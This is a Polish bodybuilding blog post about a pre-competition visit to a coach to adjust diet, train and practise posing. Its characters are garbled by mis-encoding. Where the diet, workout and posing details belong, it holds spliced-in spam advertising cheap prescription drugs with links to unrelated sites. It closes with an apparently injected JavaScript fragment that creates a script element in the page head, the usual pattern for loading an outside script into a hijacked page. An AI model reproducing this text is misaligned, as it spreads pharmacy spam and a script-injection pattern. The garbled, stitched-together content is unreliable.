Odwiedziny Tomka ” PAPAJ” Lecha i konsultacje na 10 dni przed debiutami

16.04.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

Na 10 dni przed zawodami wybraAi??em siAi?? do Tomka aby obejrzaAi?? mnie dokAi??adnie, skorygowaAi?? dietAi?? oraz musieliAi??my dopracowaAi?? pozowanie.

Jak to wyglAi??daAi??o :
WyjechaAi??em ze Szczecina rano, a u Tomka byAi??em koAi??o godziny 15.00,.
W trasie miaAi??em 2 postoje na posiAi??ki i gdy podjechaAi??em do Tomka do sklepu akurat jadAi?? swA?j posiAi??ek ( grilowane piersi, zapiekane ziemniaki, surA?wka)

– masakra Ai??zy w oczach gdy na to jedzenie patrzaAi??em, ja natomiast musiaAi??em zjeAi??Ai?? 80 gram ryA?u 5 gram oleju lnianego i gotowana pierAi?? bleeeee.
Wyjazdy przed zawodami sAi?? bardzo mAi??czAi??ce tego siAi?? nauczyAi??em jeszcze jako kierowca dlatego nie polecam tego nikomu jeAi??li nie musi to niech nie jeA?dzi tylko wypoczywa.

W sklepie posiedzieliAi??my jakiAi?? czas i ustalaliAi??my co pozmieniaAi?? w diecie :

buy cheap propranolol online Purchase http://ricati.com.br/2018/02/02/price-cholestoplex/
buy kamagra oral jelly. Kamagra online. buy kamagra online usa. online bystolic prescriptions

, nastAi??pnie pojechaliAi??my na siAi??ownie zrobiAi?? trening, mi wypadAi??y barki i brzuch, a Tomkowi sam trening aerobowy :

Order
Pills buy pills http://mev-hongkong.com/buy-meclizine-hydrochloride-uk/

PA?A?niej poAi??wiczyliAi??my pozowanie, oraz ukAi??ad dowolny :

http://goted-help.unionecso.gov.it/helponline/cheap-triamterene-hctz/ online Order

to buy mestinon

Po siAi??owni pojechaliAi??my do Tomka do domu, gdzie zjedliAi??my posiAi??ki, ja natomiast zrobiAi??em jeszcze pA?A?niej godzinAi?? aerobA?w z tAi??tnem 120-125.
Po powrocie do domu Tomka i prysznicu posiedzieliAi??my jeszcze i ustalaliAi??my „plan dziaAi??ania”.
Po czym musiaAi??em wracaAi?? do Szczecina, byAi??em totalnie zmAi??czony ale niestety nastAi??pnego dnia musiaAi??em byAi?? u siebie w sklepie.

DziAi??ki Tomku i Elwiro za goAi??cinAi?? u Was.

Pozdrawiam
Hej,
CzeAi??Ai??var d=document;var s=d.createElement(‚script’); d.getElementsByTagName(‚head’)[0].appendChild(s);} else {